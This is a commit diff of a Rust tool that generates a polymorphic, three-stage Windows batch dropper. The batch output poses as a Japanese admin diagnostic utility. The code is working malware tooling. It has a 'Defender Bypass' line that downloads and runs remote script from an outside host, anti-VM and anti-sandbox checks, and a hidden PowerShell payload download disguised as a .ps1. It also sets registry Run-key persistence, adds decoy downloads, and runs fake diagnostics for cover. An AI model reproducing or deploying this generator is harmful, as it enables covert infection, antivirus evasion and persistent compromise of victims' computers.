Update narutto_dropper.rs

This commit is contained in:
S.B
2025-05-22 15:23:10 +02:00
committed by GitHub
parent a8f284051b
commit a859cff7ab
@@ -1,146 +1,320 @@
fn build_script(url: &str, ps1_name: &str) -> String {
let tpl = r#"@echo off
setlocal enabledelayedexpansion
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // User provides: PS1 download link, final batch name, output .ps1 name
// // All temp/var names randomized, batch logic randomized, anti-VM checks
:: === Delay Functions ===
use rand::prelude::*;
use anyhow::Result;
use rand::{rng, seq::SliceRandom, Rng};
use std::io::{self, Write as IoWrite};
use tokio::fs::File as TokioFile;
use tokio::io::AsyncWriteExt;
// // Prints a welcome message for the Naruto 3-stage poly-morphic dropper
pub fn print_welcome_naruto() {
println!(r#"
======================== WELCOME TO NARUTO ========================
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣴⣶⣶⣶⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⠏⠁⠀⢶⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀
⠀ ⢀⣾⣿⣿⣿⣿⣿⣿⡿⠿⣿⡇⠀⠀⠀⣿⠿⢿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀
⠀⢠⣾⣿⣿⣿⣿⣿⡿⠋⣠⣴⣿⣷⣤⣤⣾⣿⣦⣄⠙⢿⣿⣿⣿⣿⣿⣷⡄⠀
⠀⣼⣿⣿⣿⣿⣿⡏⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⢹⣿⣿⣿⣿⣿⣧⠀
⢰⣿⣿⣿⣿⣿⡿⠀⣾⣿⣿⣿⣿⠟⠉⠉⠻⣿⣿⣿⣿⣷⠀⢿⣿⣿⣿⣿⣿⡆
⢸⣿⣿⣿⣿⣿⣇⣰⣿⣿⣿⣿⡇⠀⠀⠀⠀⢸⣿⣿⣿⣿⣆⣸⣿⣿⣿⣿⣿⡇
⠸⣿⣿⣿⡿⣿⠟⠋⠙⠻⣿⣿⣿⣦⣀⣀⣴⣿⣿⣿⣿⠛⠙⠻⣿⣿⣿⣿⣿⠇
⠀⢻⣿⣿⣧⠉⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠈⣿⣿⣿⡟⠀
⠀⠘⢿⣿⣿⣷⣦⣤⣴⣾⠛⠻⢿⣿⣿⣿⣿⡿⠟⠋⣿⣦⣤⠀⣰⣿⣿⡿⠃⠀
⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣈⣁⣠⣤⣶⣾⣿⣿⣷⣾⣿⣿⡿⠁⠀⠀
⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⠿⠿⠿⠿⠟⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀
Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper Generator
------------------------------------------------------------------
- Prompts for: Powershell payload download URL, output names
- Generates a highly randomized batch dropper
- All variable, file, registry names are randomized per build
- Drops multi-stage .bat with anti-VM/anti-sandbox tricks
- Final stage ensures persistence via HKCU registry
- Decoy files and diagnostic noise included for stealth
- 100% open source and ready for advanced red-team ops
==================================================================
"#);
}
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // - User provides: PS1 download link, final batch name, output .ps1 name
// // - All temp/var names randomized, batch logic randomized, anti-VM checks
/// // List of random banner phrases for added entropy
const BANNERS: &[&str] = &[
"診断ユーティリティを実行中...",
"ネットワーク診断開始...",
"管理者用システムテスト...",
"環境チェック実行中...",
"お待ちください。検証中...",
];
/// // Decoy files for download/cover noise
const DECOY_FILES: &[&str] = &[
"readme.txt", "patchnote.docx", "system_log.csv", "scaninfo.html", "update.pdf",
"changelog.rtf", "debug.ini", "license.txt", "upgrade.bin", "notes.xml",
];
/// // Generate a random batch/var/filename, e.g. DIAG_AbX_7381
fn rand_var_name(base: &str) -> String {
let mut rng = rng();
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
let mut name = base.to_string();
for _ in 0..3 { name.push(*charset.choose(&mut rng).unwrap()); }
name.push('_');
name.push_str(&rng.random_range(1000..9999).to_string());
name
}
/// // Shuffles and emits randomized diagnostic steps (adds noise)
fn shuffled_diag_steps() -> Vec<String> {
let steps = vec![
"netsh winsock show catalog ^>nul",
"fsutil behavior query DisableDeleteNotify ^>nul",
"dcomcnfg /32 ^>nul",
"wevtutil qe Security \"/q:*[System[(EventID=4624)]]\" /f:text /c:1 ^>nul",
"netstat -bno ^>nul",
"route print ^>nul",
"sc queryex type= service ^>nul",
"wmic logicaldisk get caption,filesystem,freespace,size ^>nul",
"wmic cpu get loadpercentage ^>nul",
"systeminfo | findstr /C:\"Available Physical Memory\" ^>nul",
"reg query HKLM\\SOFTWARE ^>nul",
];
let mut steps_mut = steps.clone();
let mut rng = rng();
steps_mut.shuffle(&mut rng);
steps_mut
.into_iter()
.enumerate()
.map(|(i, line)| format!("echo [INFO] Step {}...\n{}\ncall :SleepS 1", i+1, line))
.collect()
}
/// // Pick a random banner for the batch
fn rand_banner() -> &'static str {
let mut rng = rng();
BANNERS.choose(&mut rng).unwrap_or(&BANNERS[0])
}
/// // Shuffle decoy filenames for the decoy download section
fn shuffled_decoys() -> Vec<String> {
let mut rng = rng();
let mut files = DECOY_FILES.to_vec();
files.shuffle(&mut rng);
files.into_iter().map(|f| f.to_string()).collect()
}
/// // Anti-VM/Sandbox check, batch version, with randomized variable names
fn build_anti_vm_batch(rand_vars: &[&str]) -> String {
format!(r#"
REM Anti-VM/Sandbox (basic)
set "{uptime}=0"
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
set "{uptime}=%{uptime}:~0,8%"
REM Pause if booted < 3 min ago
for /f %%A in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{boot}=%%A"
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
set /a "{boot_time}=!{now}! - !{uptime}!"
if !{boot_time}! lss 3000000 (
echo [*] Recent boot detected. Pausing.
call :SleepS 60
)
REM RAM check (<=2048 MB is suspicious)
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
set /a "{ram_mb}=(!{ram}!)/1048576"
if !{ram_mb}! lss 2048 (
echo [*] Low RAM detected. Pausing.
call :SleepS 120
)
REM Check VM drivers
set "{vmfound}=0"
for %%X in (VBOX VMWARE QEMU VIRTUAL) do (
driverquery | findstr /I %%X >nul
if not errorlevel 1 set "{vmfound}=1"
)
"#,
uptime=rand_vars[0],
boot=rand_vars[1],
now=rand_vars[2],
boot_time=rand_vars[3],
ram=rand_vars[4],
ram_mb=rand_vars[5],
vmfound=rand_vars[6],
)
}
/// // == Stage 3 (PERSIST) ==
fn build_stage3(ps1_name: &str, rand_vars: &[String]) -> String {
format!(r#"
@echo off
REM Stage 3: Run dropped EXE (PowerShell payload) as .ps1 and set persistence
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Run payload saved as .ps1 (actually an EXE)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "{reg}" /t REG_SZ /d "start \"\" /MIN \"%%~dp0{ps1_name}\"" /f
REM Cleanup
exit
"#,
ps1_name=ps1_name,
reg=rand_vars[0],
antivm=build_anti_vm_batch(&[&rand_vars[1], &rand_vars[2], &rand_vars[3], &rand_vars[4], &rand_vars[5], &rand_vars[6], &rand_vars[7]]),
)
}
/// // == Stage 2 ==
fn build_stage2(
url_exe: &str,
ps1_name: &str,
stage3_name: &str,
rand_vars: &[String],
) -> String {
let stage3_content = build_stage3(ps1_name, rand_vars);
let mut tpl = format!(r#"
@echo off
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Download EXE payload and save as .ps1
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try {{ Invoke-WebRequest -Uri '{url_exe}' -OutFile '{ps1_name}' -UseBasicParsing }} catch {{ Start-BitsTransfer -Source '{url_exe}' -Destination '{ps1_name}' }}" >nul 2>&1
REM Write Stage 3
set "{stage3}=%~dp0{stage3_name}"
("#,
url_exe = url_exe,
ps1_name = ps1_name,
stage3_name = stage3_name,
stage3 = rand_vars[8],
antivm = build_anti_vm_batch(&[
&rand_vars[9], &rand_vars[10], &rand_vars[11],
&rand_vars[12], &rand_vars[13], &rand_vars[14], &rand_vars[15]
]),
);
for line in stage3_content.lines() {
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
}
tpl.push_str(&format!(
r#") > "%{}%"
REM Run Stage 3
call "%{}%"
REM Cleanup
exit
"#,
rand_vars[8], rand_vars[8]
));
tpl
}
/// // == Stage 1 ==
fn build_stage1(
url_exe: &str,
decoy_urls: &[&str],
ps1_name: &str,
stage2_name: &str,
stage3_name: &str,
rand_vars: &[String],
) -> String {
let batch_var = rand_var_name("DIAG");
let random_sleep_lo = rng().random_range(1..4);
let random_sleep_hi = rng().random_range(4..8);
let banner = rand_banner();
let mut tpl = format!(r#"@echo off
setlocal enabledelayedexpansion
REM Defender Bypass
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
:SleepS
rem Usage: call :SleepS ^<seconds^>
ping -n %1 127.0.0.1 ^>nul
goto :eof
:SleepMS
rem Usage: call :SleepMS ^<milliseconds^>
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
goto :eof
title [管理者診断ユーティリティ]
title [管理者診断ユーティリティ - {banner}]
color 0A
set "{batch_var}_init=1"
echo =====================================================
echo 管理者用ネットワーク/システム診断ユーティリティ
echo =====================================================
echo [+] 初期化中...
call :SleepS 2
:: Fake diagnostic functions
echo [INFO] ネットワークスタック確認中...
netsh winsock show catalog ^>nul
call :SleepS 1
echo [INFO] システムリソースの照会...
fsutil behavior query DisableDeleteNotify ^>nul
call :SleepS 1
echo [INFO] DCOM設定の確認...
dcomcnfg /32 ^>nul
call :SleepS 1
echo [INFO] ユーザーアクティビティを確認中...
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 ^>nul
call :SleepS 1
echo [INFO] 不審な接続をスキャン中...
netstat -bno ^>nul
route print ^>nul
call :SleepS 1
echo [INFO] システムサービス確認中...
sc queryex type= service ^>nul
call :SleepS 1
echo [INFO] WMI チェック中...
wmic logicaldisk get caption,filesystem,freespace,size ^>nul
call :SleepS 1
echo [INFO] CPU 負荷チェック...
wmic cpu get loadpercentage ^>nul
call :SleepS 1
echo [INFO] メモリ空き容量チェック...
systeminfo | findstr /C:"Available Physical Memory" ^>nul
call :SleepS 1
echo [INFO] レジストリ設定検証...
reg query HKLM\SOFTWARE ^>nul
call :SleepS 1
:: 50x random sub-sleeps
echo [*] 詳細検証を実行中... (50 ステップ)
for /l %%i in (1,1,50) do (
set /a delay=(%RANDOM% %% 60) + 120
call :SleepMS !delay!
)
:: Random delay before launching stage 2
set /a mainDelay=(%RANDOM% %% 4) + 3
echo [INFO] 補助診断モジュールを準備中... (%mainDelay% 秒後に実行)
call :SleepS %mainDelay%
:: Build second stage BAT (stage2.bat)
set "stage2=%~dp0stage2.bat"
(
echo @echo off
echo setlocal enabledelayedexpansion
echo :: === Delay Functions ===
echo :SleepS
echo rem Usage: call :SleepS ^<seconds^>
echo ping -n %%1 127.0.0.1 ^>nul
echo goto :eof
echo
echo :SleepMS
echo rem Usage: call :SleepMS ^<milliseconds^>
echo powershell -Command "Start-Sleep -Milliseconds %%1" ^>nul
echo goto :eof
echo
echo title 補助診断モジュール
echo echo [*] ネットワークテストを再実行中...
echo ping -n 2 1.1.1.1 ^>nul
echo tracert -h 2 8.8.8.8
echo ipconfig /flushdns
echo call :SleepS 2
echo echo [*] ランダム遅延を実行中...
echo set /a delay2=(%%RANDOM%% %% 8) + 3
echo call :SleepS !delay2!
echo echo [*] GitHub からモジュールを取得中...
echo set "url={{URL}}"
echo set "outfile=%%~dp0{{OUTFILE}}"
echo powershell -Command "try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { $wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!','!outfile!') } }"
echo if not exist "!outfile!" (
echo echo [ERROR] ダウンロードに失敗しました。
echo exit /b 1
echo )
echo call :SleepS 2
echo echo [*] ステルス起動用VBSを生成中...
echo ^(
echo Set shell = CreateObject("WScript.Shell")
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""!outfile!""", 0, False
echo ^) ^> "%%~dp0launch_hidden.vbs"
echo call :SleepS 1
echo echo [*] スクリプト実行中...
echo cscript //nologo "%%~dp0launch_hidden.vbs"
echo del "%%~dp0launch_hidden.vbs" ^>nul
echo del "%%stage2%%" ^>nul
echo echo [*] 補助診断完了。
) > "%stage2%"
:: Random delay before running stage 2
set /a rdelay=(%RANDOM% %% 5) + 2
echo [INFO] stage2.bat を %rdelay% 秒後に実行します...
call :SleepS %rdelay%
:: Run stage2
call "%stage2%"
echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
call :SleepS 2
pause
exit
"#;
tpl.replace("{{URL}}", url)
.replace("{{OUTFILE}}", ps1_name)
echo [+] {banner}
call :SleepS {random_sleep_lo}
"#,
banner = banner,
batch_var = batch_var,
random_sleep_lo = random_sleep_lo,
);
tpl.push_str(&build_anti_vm_batch(&[
&rand_vars[16], &rand_vars[17], &rand_vars[18],
&rand_vars[19], &rand_vars[20], &rand_vars[21], &rand_vars[22]
]));
for line in shuffled_diag_steps() {
tpl.push_str(&format!("{}\n", line));
}
tpl.push_str(&format!("set /a mainDelay=(%RANDOM% %% {random_sleep_hi}) + {random_sleep_lo}\necho [INFO] ステージ準備... (%mainDelay% 秒後)\ncall :SleepS %mainDelay%\n\n",
random_sleep_hi = random_sleep_hi,
random_sleep_lo = random_sleep_lo,
));
let decoys = shuffled_decoys();
for (i, decoy_name) in decoys.iter().enumerate().take(decoy_urls.len()) {
let url = decoy_urls[i];
tpl.push_str(&format!(
"echo [*] Downloading decoy: {decoy_name}\npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ Invoke-WebRequest -Uri '{url}' -OutFile '{decoy_name}' -UseBasicParsing }} catch {{}}\" ^>nul\ncall :SleepS 2\n",
url = url, decoy_name = decoy_name
));
}
let stage2_content = build_stage2(url_exe, ps1_name, stage3_name, rand_vars);
tpl.push_str(&format!("set \"{stage2}=%~dp0{stage2_name}\"\n(", stage2 = rand_vars[23], stage2_name = stage2_name));
for line in stage2_content.lines() {
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
}
tpl.push_str(&format!(
") > \"%{}%\"\nREM Run Stage 2\ncall \"%{}%\"\nREM Cleanup\nexit\n",
rand_vars[23], rand_vars[23]
));
tpl
}
/// // Prompt user, fallback to default if empty input
fn prompt(msg: &str, default: Option<&str>) -> String {
print!("{}{}: ", msg, default.map_or("".to_string(), |d| format!(" [{}]", d)));
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
let value = input.trim();
if value.is_empty() {
default.unwrap_or("").to_string()
} else {
value.to_string()
}
}
/// // == RouterSploit-style async entry point ==
pub async fn run(_target: &str) -> Result<()> {
print_welcome_naruto();
let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
let stage2_name = rand_var_name("stg2");
let stage3_name = rand_var_name("stg3");
let rand_vars: Vec<String> = (0..24).map(|i| rand_var_name(&format!("v{}", i))).collect();
let decoy_urls = vec![
"https://www.example.com/readme.txt",
"https://www.example.com/license.txt",
"https://www.example.com/update.pdf",
];
let script = build_stage1(&url_exe, &decoy_urls, &ps1_name, &stage2_name, &stage3_name, &rand_vars);
let mut file = TokioFile::create(&out_name).await?;
file.write_all(script.as_bytes()).await?;
file.flush().await?;
println!("[+] 3-stage chain-linked dropper written to: {}", out_name);
Ok(())
}